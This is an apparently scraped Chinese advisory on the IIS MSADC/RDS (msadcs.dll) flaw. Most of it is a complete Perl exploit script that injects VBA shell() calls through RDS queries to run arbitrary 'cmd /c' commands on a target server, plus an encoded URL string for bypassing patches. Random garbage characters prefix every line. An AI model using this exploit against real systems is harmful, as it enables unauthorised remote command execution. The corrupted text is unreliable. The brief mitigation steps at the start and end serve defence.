IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
sq^"bLw vPsX!m[# 涉及程序:
KE3v3g< Microsoft NT server
o <'gM]$ ]/']{*T1 描述:
%%>?<4t 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
ZF/KV\Ag) #"M Pe4 详细:
*j*
WE\ 如果你没有时间读详细内容的话,就删除:
fytx({I
.a c:\Program Files\Common Files\System\Msadc\msadcs.dll
~Iu09t|a 有关的安全问题就没有了。
D/Wuan?yPN NE4fQi?3 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
W*m[t&; 2yZ6:U~ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
o|W? a#_\ 关于利用ODBC远程漏洞的描述,请参看:
ZD{srEa/a HlSuhbi'@ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm wm8x1+P GT.^u#r 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
}a1UOScO0 http://www.microsoft.com/security/bulletins/MS99-025faq.asp 1m)/_y~1
k ^hgAgP{{ 这里不再论述。
Dn3~8 ?:nZv<
x 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
!T~d5^l! 1W
g8jr's /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
$OD5t5eTsM 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
ezvaAhd{ h,+=h;! z>:7}=H0 #将下面这段保存为txt文件,然后: "perl -x 文件名"
z)~!G~J] Em;b,x*U #!perl
~e+w@ lK #
Q=8
cBRe # MSADC/RDS 'usage' (aka exploit) script
zOOX>3^ #
iFA"m;$ # by rain.forest.puppy
,lJ6"J\8. #
S8RB0^Q7 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Q ?t # beta test and find errors!
dmy-}.pqN zFr} $ use Socket; use Getopt::Std;
9%qMZP0] getopts("e:vd:h:XR", \%args);
NLl~/smMS (r4VIlap print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
iL, XBoE Fzs'@* if (!defined $args{h} && !defined $args{R}) {
ks;w c"k" print qq~
5uer
[1A Usage: msadc.pl -h <host> { -d <delay> -X -v }
jZ!JXmVV -h <host> = host you want to scan (ip or domain)
eLny-.i,7 -d <seconds> = delay between calls, default 1 second
}6>J -X = dump Index Server path table, if available
z)>{O3 -v = verbose
Y(zN -e = external dictionary file for step 5
7]j-zv `yZZP Or a -R will resume a command session
YoJ'=z,e *"\Q ~#W ~; exit;}
m[j3s=Gr 88$Y-g5* $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
uFWgq::\ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
\2xBOe-a] if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
I uj=d~|> if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
77d`N $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
O97bgj] if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
})lT fy YXVJJd$U if (!defined $args{R}){ $ret = &has_msadc;
p8d n-4 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
X);Zm7 ON0+:`3\ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Q;/F0JDH . "cmd /c ";
*v ^"4 $in=<STDIN>; chomp $in;
Sp,Q,Q4 $command="cmd /c " . $in ;
%i>e !(K{*7|h if (defined $args{R}) {&load; exit;}
b6vYM_ Q `;CU[Ps?] print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
7$W;4!BN* &try_btcustmr;
.p(l+ f<:U"E. print "\nStep 2: Trying to make our own DSN...";
KB R0p&MN &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
s@LNQ|'kO Lu 39eO6 print "\nStep 3: Trying known DSNs...";
\%Rta$O?S &known_dsn;
dm=F:\C t}k'Ba3]:Y print "\nStep 4: Trying known .mdbs...";
bxSKe6l &known_mdb;
IWo~s BemkCj2
if (defined $args{e}){
K]!u@I* K" print "\nStep 5: Trying dictionary of DSN names...";
'Q>z** &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
B8AzN9v&"N SM+fG: 4d print "Sorry Charley...maybe next time?\n";
#pQ"+X exit;
Df~p'N-$ (Q8?) ##############################################################################
.l=*R7~EU Z/= %J3f sub sendraw { # ripped and modded from whisker
|zq!CLjD@ sleep($delay); # it's a DoS on the server! At least on mine...
G+ v, Hi1 my ($pstr)=@_;
Rgfhs[Z socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
|;9 A{#zM die("Socket problems\n");
_G[I2] if(connect(S,pack "SnA4x8",2,80,$target)){
*;e@t4 select(S); $|=1;
;c-
]bhBB print $pstr; my @in=<S>;
$7&l6~sMQ select(STDOUT); close(S);
5f'g3' return @in;
Va
Yu% } else { die("Can't connect...\n"); }}
_*ouo<x NTXL>Q*e ##############################################################################
nH>V Da b]<HhU sub make_header { # make the HTTP request
VNrO(j DUv my $msadc=<<EOT
MJKl]& POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Wt9iL User-Agent: ACTIVEDATA
(:-Jl"&R@ Host: $ip
qD;v/,? Content-Length: $clen
;xO=Yhc+ Connection: Keep-Alive
'gZbNg=&[ H<Kkj ADCClientVersion:01.06
vk)0n= Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
0\Yx.\X, =ym --!ADM!ROX!YOUR!WORLD!
4^[}]'w Content-Type: application/x-varg
RmWfV Content-Length: $reqlen
A!W"*WT fb"J Bc}X EOT
6~F#F)C' ; $msadc=~s/\n/\r\n/g;
"bR'Bt return $msadc;}
|\%F(d330 n!ZP?]FR ##############################################################################
uOl(-Zq@ c@9Z&2) sub make_req { # make the RDS request
x , Vh my ($switch, $p1, $p2)=@_;
7<1fKrN?GF my $req=""; my $t1, $t2, $query, $dsn;
AX!>l; |3,yq^2 if ($switch==1){ # this is the btcustmr.mdb query
5+bFy.UW $query="Select * from Customers where City=" . make_shell();
w,![;wG $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
df>kEvU5.^ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
K 5qLBz@U <F)w=_%& elsif ($switch==2){ # this is general make table query
`Ixs7{&jU $query="create table AZZ (B int, C varchar(10))";
#K#Mv/ $dsn="$p1";}
`xX4!^0Hm Xvu) elsif ($switch==3){ # this is general exploit table query
3aO;@GNJ $query="select * from AZZ where C=" . make_shell();
$35,\ZO> $dsn="$p1";}
|rxKCzjm mC:X4l]5 elsif ($switch==4){ # attempt to hork file info from index server
6mBDd>`0 $query="select path from scope()";
VPM|Rj:d $dsn="Provider=MSIDXS;";}
eMN+qkvH Wg`+u elsif ($switch==5){ # bad query
hg&w=l $query="select";
4ypRyO $dsn="$p1";}
Kunle~Ro E5*-;>2c $t1= make_unicode($query);
3V/_I<y $t2= make_unicode($dsn);
}0BL0N`_ $req = "\x02\x00\x03\x00";
NqT1buU# $req.= "\x08\x00" . pack ("S1", length($t1));
8lOZIbwS $req.= "\x00\x00" . $t1 ;
..jq[(;N $req.= "\x08\x00" . pack ("S1", length($t2));
C!7U<rI $req.= "\x00\x00" . $t2 ;
@1<omsl $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Ehb?CnV#J return $req;}
T/wM(pr'
TwM1M["3 ##############################################################################
,b6kTQq nY{i>Y sub make_shell { # this makes the shell() statement
NokXE return "'|shell(\"$command\")|'";}
Z[#I"-Q~: 'f-
##############################################################################
HZDk
<aU/! { r6]MS#l1 sub make_unicode { # quick little function to convert to unicode
MUbhEau? my ($in)=@_; my $out;
5;FP.{+ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
FgOUe return $out;}
px w{ :3a&Pb*PL ##############################################################################
J4gI=@e n2n00%Wu[ sub rdo_success { # checks for RDO return success (this is kludge)
#D`S my (@in) = @_; my $base=content_start(@in);
S)"##-~`T if($in[$base]=~/multipart\/mixed/){
;Ze"<U return 1 if( $in[$base+10]=~/^\x09\x00/ );}
5jn$7iE` return 0;}
?CH?kP 0 NQ7#A ##############################################################################
MV0<^/p| 4ef*9|^x# sub make_dsn { # this makes a DSN for us
a9#W9eP my @drives=("c","d","e","f");
#0P!xZ'|{ print "\nMaking DSN: ";
;JOD!| foreach $drive (@drives) {
"H5&3sF2 print "$drive: ";
*>e~_{F my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
|x d@M-ln "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
j:HH#U . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
09R,'QJ| $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Lzh9DYU6 return 0 if $2 eq "404"; # not found/doesn't exist
<ZigCo w if($2 eq "200") {
x1Nme%%& foreach $line (@results) {
v[R_S return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
OlEpid'Z } return 0;}
2;~KL-h0TK \|4 Ca't ##############################################################################
99F>n[5 4@DVc7\x$ sub verify_exists {
D^,\cZbY my ($page)=@_;
M'\pkzx my @results=sendraw("GET $page HTTP/1.0\n\n");
'rS'B.D return $results[0];}
WYSck&9 cwu$TP A> ##############################################################################
L3B8IDq RI(=HzB sub try_btcustmr {
7^B3lC) my @drives=("c","d","e","f");
`0yb?Nk `: my @dirs=("winnt","winnt35","winnt351","win","windows");
`Uzs+k-] X,>(Y8 foreach $dir (@dirs) {
U:qF/%w print "$dir -> "; # fun status so you can see progress
^pJ0nY#c foreach $drive (@drives) {
{B@*DQv print "$drive: "; # ditto
|.j^G2x $reqlen=length( make_req(1,$drive,$dir) ) - 28;
b\1+kB/8 $reqlenlen=length( "$reqlen" );
OYBotk]{1 $clen= 206 + $reqlenlen + $reqlen;
d4ic9u*D C0zrXhY_v my @results=sendraw(make_header() . make_req(1,$drive,$dir));
@(i*-u3Tq if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
-"F0eV+y else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
8dc538:q} M|U';2hZN: ##############################################################################
%v]7BV^%6 clHM8$ sub odbc_error {
ha_@Yqgh my (@in)=@_; my $base;
Tv`_n2J`2 my $base = content_start(@in);
/r-8T>m if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
+jcdf} $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
4w@v#H@ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
PT mf $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
> P(eW7RL return $in[$base+4].$in[$base+5].$in[$base+6];}
:OHSxb>[ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Am#m>^!qb print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
BpH|/7 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
e:qo_eSC^- '#H&:Htm;L ##############################################################################
{b(rm,% wjuGq.qIu
sub verbose {
e d_m +NM my ($in)=@_;
=]T|h return if !$verbose;
l#Yx
TY print STDOUT "\n$in\n";}
V{KjRSVf= FnY$)o; ##############################################################################
?3[tJreVj pXssh sub save {
{&uT3*V1 my ($p1, $p2, $p3, $p4)=@_;
9 >%+bA( open(OUT, ">rds.save") || print "Problem saving parameters...\n";
o1U}/y+R\ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
w.tW=z5 close OUT;}
"s% 686Vz BjYOfu'~z ##############################################################################
H;qJH1EdD +hpSxdAz4 sub load {
0"TgLd my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
fc3 Fi'^ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
NP "ylMr7P @p=<IN>; close(IN);
6?O}Q7G $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
U>oW~Z $target= inet_aton($ip) || die("inet_aton problems");
0k%hY{ print "Resuming to $ip ...";
`\wUkmH $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Bn{)|&; if($p[1]==1) {
1XCmMZ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
L+73aN $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
z=B<
`}@3 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
3i6h"Wu`n if (rdo_success(@results)){print "Success!\n";}
rxs8De else { print "failed\n"; verbose(odbc_error(@results));}}
B9}E
{)T? elsif ($p[1]==3){
M=W
4:H,gx if(run_query("$p[3]")){
691G15 print "Success!\n";} else { print "failed\n"; }}
]s_@n! elsif ($p[1]==4){
X\kjAMuW/* if(run_query($drvst . "$p[3]")){
NK~PcdGl print "Success!\n"; } else { print "failed\n"; }}
k9l^6#<? exit;}
4x(F&0 bhn5Lz$z ##############################################################################
o,J^ e_ b]w[*<f? sub create_table {
0:. 6rp my ($in)=@_;
/V#7=,, $reqlen=length( make_req(2,$in,"") ) - 28;
#J\s%60pt $reqlenlen=length( "$reqlen" );
dKb ^x^ $clen= 206 + $reqlenlen + $reqlen;
~zMDY F"& my @results=sendraw(make_header() . make_req(2,$in,""));
n%*tMr9 s return 1 if rdo_success(@results);
XwtAF3oz my $temp= odbc_error(@results); verbose($temp);
TQ?#PRB return 1 if $temp=~/Table 'AZZ' already exists/;
X>}@EHT return 0;}
:Z[(A"dA ~U9q-/(J/ ##############################################################################
kB
V/rw >{b3>s~T sub known_dsn {
Uh}+"h5 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
nW11wtiO. my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
T RDxT "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
3 tF: "banner", "banners", "ads", "ADCDemo", "ADCTest");
!x8kB
Di, L$SMfx foreach $dSn (@dsns) {
x df?nt print ".";
7x(v? next if (!is_access("DSN=$dSn"));
.D!WO if(create_table("DSN=$dSn")){
pUGN!3 print "$dSn successful\n";
dkpQZXi9% if(run_query("DSN=$dSn")){
# v+;: print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
FJ}gUs{m print "Something's borked. Use verbose next time\n";}}} print "\n";}
j-QGOuvW lM$t!2pRB ##############################################################################
>%l:Dw\A:
^iuo^2+ sub is_access {
D&-vq,c my ($in)=@_;
wh*:\_!0\ $reqlen=length( make_req(5,$in,"") ) - 28;
ZL,6_L/ $reqlenlen=length( "$reqlen" );
bf(+ldq $clen= 206 + $reqlenlen + $reqlen;
R1Yqz $# my @results=sendraw(make_header() . make_req(5,$in,""));
I )5<DZB9 my $temp= odbc_error(@results);
V,m3-=q verbose($temp); return 1 if ($temp=~/Microsoft Access/);
xvB8YW" return 0;}
q=+wI"[ n_}aZB3;U ##############################################################################
%XR<isn 6m@0;Ht sub run_query {
WU7cF81$ my ($in)=@_;
l/QhD?)9 $reqlen=length( make_req(3,$in,"") ) - 28;
@+E7w6>% $reqlenlen=length( "$reqlen" );
i&*<lff $clen= 206 + $reqlenlen + $reqlen;
9*DEv0}a^ my @results=sendraw(make_header() . make_req(3,$in,""));
3Soy3Xp return 1 if rdo_success(@results);
- zQ<ZE my $temp= odbc_error(@results); verbose($temp);
Cx,-_ return 0;}
<S&]$?`{Wi 5e8xKL ##############################################################################
WGPD8. J)KnE2dw5 sub known_mdb {
F<gMUDB my @drives=("c","d","e","f","g");
/=@e &e my @dirs=("winnt","winnt35","winnt351","win","windows");
J
3B`Krh my $dir, $drive, $mdb;
H nd+l)ng my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Qh8C,"a UBIIo'u # this is sparse, because I don't know of many
8jNOEM(0Y+ my @sysmdbs=( "\\catroot\\icatalog.mdb",
)(]Envb?A0 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
`,P
>mp)uU "\\system32\\certmdb.mdb",
Bq;1^gtpe "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
x9D/s`! d#8e~ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
jqtVpNwM "\\cfusion\\cfapps\\forums\\forums_.mdb",
_JA:.V^3gm "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
lC4PKmno "\\cfusion\\cfapps\\security\\realm_.mdb",
bJ6p,]g "\\cfusion\\cfapps\\security\\data\\realm.mdb",
YD9!=a$ "\\cfusion\\database\\cfexamples.mdb",
X.eB ;w/} "\\cfusion\\database\\cfsnippets.mdb",
.`+yo0O: "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
OJ>iq@> "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
WN\PX!K9 "\\cfusion\\brighttiger\\database\\cleam.mdb",
6+e4<sy[E "\\cfusion\\database\\smpolicy.mdb",
-K^41W71 "\\cfusion\\database\cypress.mdb",
tgB=vIw?3 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
+99Bi2H}o "\\website\\cgi-win\\dbsample.mdb",
P7UJ-2%Y+ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
R>HY:-2 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
}1@E"6kF ); #these are just
H?{MRe foreach $drive (@drives) {
a'A s foreach $dir (@dirs){
JnHNkCaU foreach $mdb (@sysmdbs) {
c=aO5(i0 print ".";
~of,,& if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
m1V- %kUI print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
$
9 =8@ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
d"GDZ[6 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
?Sw /(}|m } else { print "Something's borked. Use verbose next time\n"; }}}}}
!-,Ww[G> +A\V ) foreach $drive (@drives) {
q :8\e foreach $mdb (@mdbs) {
K_&_z print ".";
K~3Ebr if(create_table($drv . $drive . $dir . $mdb)){
R[Nbtbv9Q print "\n" . $drive . $dir . $mdb . " successful\n";
5*1#jiq if(run_query($drv . $drive . $dir . $mdb)){
61>f(?s print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
N iISJWk6' } else { print "Something's borked. Use verbose next time\n"; }}}}
'$6PTa }
S (tEwXy R"{l[9j4> ##############################################################################
`I#`:hj lRH0)5` sub hork_idx {
aaT5u14% print "\nAttempting to dump Index Server tables...\n";
,5.
<oDH print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
|*fNH(8&H $reqlen=length( make_req(4,"","") ) - 28;
,Z5Fea $reqlenlen=length( "$reqlen" );
cd&B?\I $clen= 206 + $reqlenlen + $reqlen;
Fs) my @results=sendraw2(make_header() . make_req(4,"",""));
y!hi"! if (rdo_success(@results)){
LuL$v+` my $max=@results; my $c; my %d;
q)k{W>O for($c=19; $c<$max; $c++){
OfJd/D $results[$c]=~s/\x00//g;
jzMg'z/@J $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
`)2[ST $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
3a^)u-9,x $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
mw"}8y $d{"$1$2"}="";}
+4HlRGH foreach $c (keys %d){ print "$c\n"; }
5us^B8Q } else {print "Index server doesn't seem to be installed.\n"; }}
dQK`sLChv O{u[+g ##############################################################################
!t%Q{`p qK,V$l(4# sub dsn_dict {
/tzlbI]z open(IN, "<$args{e}") || die("Can't open external dictionary\n");
=hhvmo while(<IN>){
,2_w=<hq $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
F9O`HFVK next if (!is_access("DSN=$dSn"));
lvPpCAXY if(create_table("DSN=$dSn")){
wE4;Rk1 print "$dSn successful\n";
vcM~i^24) if(run_query("DSN=$dSn")){
:~erh}~ps print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
gCL{Cw print "Something's borked. Use verbose next time\n";}}}
<r3Jf}%tT print "\n"; close(IN);}
W #47Cz 7*MU2gb ##############################################################################
fB7ljg ]LVnt-q sub sendraw2 { # ripped and modded from whisker
Z)5klg$c sleep($delay); # it's a DoS on the server! At least on mine...
.jaZ|nN8` my ($pstr)=@_;
ki3 HcV socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
#//
%&k die("Socket problems\n");
Z'e\_C if(connect(S,pack "SnA4x8",2,80,$target)){
cyBW0wV1 print "Connected. Getting data";
W} Zb~[, open(OUT,">raw.out"); my @in;
gwJ}]Tf select(S); $|=1; print $pstr;
(V)9s\Le_ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
7IQqN&J close(OUT); select(STDOUT); close(S); return @in;
P#v^"}.Wd } else { die("Can't connect...\n"); }}
"f<#.}8 =1IEpxh% ##############################################################################
>Zo-wYG B>@D,)/bT5 sub content_start { # this will take in the server headers
jr:drzr{I my (@in)=@_; my $c;
|eF.ZC)QWh for ($c=1;$c<500;$c++) {
F:_FjxU if($in[$c] =~/^\x0d\x0a/){
PU"S;4m if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
gW}} 5Xq else { return $c+1; }}}
eVrNYa1>H return -1;} # it should never get here actually
A6Q c;v+ JSRg?p\ ##############################################################################
H>Ks6V)RL4 80HEAv,O sub funky {
\6i9q= my (@in)=@_; my $error=odbc_error(@in);
cCk1'D|X[e if($error=~/ADO could not find the specified provider/){
pagC(F print "\nServer returned an ADO miscofiguration message\nAborting.\n";
r.?+gW!C exit;}
A]#_"fayo if($error=~/A Handler is required/){
}H; ]k-) print "\nServer has custom handler filters (they most likely are patched)\n";
XHZLWh"gS exit;}
umryA{Ps if($error=~/specified Handler has denied Access/){
f}%sO print "\nServer has custom handler filters (they most likely are patched)\n";
H(?e&Qkg exit;}}
O'fc/cvh=' M&OsRrq ##############################################################################
soDfi-2o3 Yx!n*+ :J sub has_msadc {
7>
)l{7 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
jOtzx"/)rE my $base=content_start(@results);
leR"j return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
418gcg6) return 0;}
PB@-U.Z $6Z[|9W^A ########################
ah>Dqb* 9T/<x-FD sI$:V7/! 解决方案:
il7!} 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
%![4d;Z%x 2、移除web 目录: /msadc